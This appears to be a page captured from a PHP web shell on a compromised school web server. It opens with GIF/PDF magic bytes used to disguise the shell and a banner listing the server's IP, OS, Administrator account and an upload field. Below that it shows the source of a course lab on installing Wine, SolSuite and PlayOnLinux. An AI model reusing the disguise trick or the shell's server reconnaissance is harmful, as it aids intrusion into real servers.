GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST2505/Labs/Lab08/ |
Upload File : |
<? // JimMartinson/CST2505/Labs/Lab08.php require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. ?> <fieldset><legend>Description</legend> The purpose of this lab is to demonstrate your ability to install WineHQ with SolSuite and PlayOnLinux with Crayon Physics. <?=$gradeNote?> <? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> <span class="normal note">I could at first only perform this lab on the <b>cstvmware VM</b>. <br>On the next attempt I was able to perform this lab on my Oracle VM.</span> </fieldset> <!-- sudo dpkg --add-architecture i386 sudo apt update sudo apt install wine64 wine32 wine --version This fixed the dependancy issue. wget https://download.opensuse.org/repositories/Emulators:/Wine:/Debian/xUbuntu_18.04/amd64/libfaudio0_19.07-0~bionic_amd64.deb wget https://download.opensuse.org/repositories/Emulators:/Wine:/Debian/xUbuntu_18.04/i386/libfaudio0_19.07-0~bionic_i386.deb --> <fieldset><legend>Lab Instruction</legend> Create a <b class="copyText"><?=$evaluationName?></b> folder and keep all screenshots and any copied files for this assignment in that <b><?=$evaluationName?></b> folder. <ol class="count"> <li> Install WineHQ. <ol> <li>Before you can install WineHQ you will need to install other packages, another repository, and update your Desktop. <ol> <li>Activate 386 architecture with the command: <kbd class="copyText">sudo dpkg --add-architecture i386</kbd>.</li> <li>Install needed packages with <kbd class="copyText">sudo apt-get install libgnutls30:i386 libldap-2.4-2:i386 libgpg-error0:i386 libxml2:i386 libasound2-plugins:i386 libsdl2-2.0-0:i386 libfreetype6:i386 libdbus-1-3:i386 libsqlite3-0:i386</kbd>.</li> <li>Download and install the libfaudio0 packages: <span class="note">This step was added on 12/5/2020.</span> <ol> <li>Download <a href="libfaudio0_19.07-0_bionic_amd64.deb">libfaudio0 for amd64</a> to your <b>Downloads</b> directory and install it with the command:<br><kbd class="copyText">sudo dpkg --install Downloads/libfaudio0_19.07-0_bionic_amd64.deb</kbd></li> <li>Download <a href="libfaudio0_19.07-0_bionic_i386.deb">libfaudio0 for i386</a> to your <b>Downloads</b> directory and install it with the command:<br><kbd class="copyText">sudo dpkg --install Downloads/libfaudio0_19.07-0_bionic_i386.deb</kbd></li> </ol> </li> <li>Add the cybermax-dexter repository with: <kbd class="copyText">sudo add-apt-repository ppa:cybermax-dexter/sdl2-backport</kbd>.</li> <li>Update and Upgrade packages with: <kbd class="copyText">sudo apt update && sudo apt upgrade</kbd>.</li> </ol> </li> <li>Open a browser and go to the <a href="http://www.winehq.org">WineHQ site</a>.</li> <li>Download an install WineHQ Stable branch for Ubuntu from the <b>Download</b> page.</li> <li>Open a terminal window and enter the command <kbd class="copyText">clear && wine --version</kbd>.</li> <li> Take a screenshot of the terminal window and save it as <b class="copyText" style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-Wine-<?=$userFileName?>.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example WineHQ screenshot'); ?><br> <img src="images/wine.png" width="734" height="488" alt="Wine install example screenshot"/><br> <? showEnd (); ?> </li> </ol> </li> <li> Install SolSuite. <ol> <li><a href="solsuite2017-ver1710-setup.exe">Download SolSuite</a> (solsuite2017-ver1710-setup.exe).</li> <li>Install it. You may need to right-click on the exe and select <b>Open with</b>/<b>Wine Windows Program Loader</b>.</li> <li>Run SolSuite. <span class="note">It should have an icon on your desktop.</span></li> <li>Start a game of Klondike.</li> <li> Take a screenshot of the SolSuite window and save it as <b class="copyText" style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-SolSuite-<?=$userFileName?>.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example SolSuite screenshot'); ?><br> <img src="images/SolSuite.png" width="800" height="460" alt="SolSuite example screenshot"/><br> <? showEnd (); ?> </li> </ol> </li> <li> Install PlayOnLinux. <ol> <li>Open <b>Ubuntu Software</b> and install <b>PlayOnLinux</b>.</li> <li>Run PlayOnLinux.</li> <li>Click on <b>Install a program</b>.</li> <li>Wait for PlayOnLinux to finish updating.</li> </ol> </li> <li> Install the PlayOnLinux game Crayon Physics. <ol> <li>If not already running, run PlayOnLinux.</li> <li>Click on <b>Install a program</b> (if not done by step 3.3).</li> <li>Select <b>Games</b>.</li> <li>Install Crayon Physics (not Crayon Physics Deluxe). <span class="note">PlayOnLinux may need to install other packages in order to install Crayon Physics; Simply click <b>Yes</b> to any prompts.</span></li> <li>Run Crayon Physics. <span class="note">It should have an icon on your desktop.</span></li> <li>Click on the Crayon Physics screen to begin.</li> <li> Take a screenshot of the Crayon Physics window and save it as <b class="copyText" style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-CrayonPhysics-<?=$userFileName?>.png</b> in your <b><?=$evaluationName?></b> folder. <? showBegin('See example Crayon Physics screenshot'); ?><br> <img src="images/Crayon.png" width="800" height="630" alt="Crayon example screenshot"/><br> <? showEnd (); ?> </li> </ol> </li> <li>Turn in your assignment: <ol type="a"> <li>Make sure the following files are in your <b><?=$evaluationName?></b> folder: <ol type="a"> <li><?=$courseNumber?>-<?=$evaluationName?>-Wine-<?=$userFileName?>.png.</li> <li><?=$courseNumber?>-<?=$evaluationName?>-SolSuite-<?=$userFileName?>.png.</li> <li><?=$courseNumber?>-<?=$evaluationName?>-CrayonPhysics-<?=$userFileName?>.png.</li> </ol> </li> <li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b class="copyText"><?=$uploadFilename?></b>.</li> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li> </ol> </li> </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. #require('../../ReferencesResources.phpinc'); #require($Instructor['Path'].'/ContactInformation.phpinc'); if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>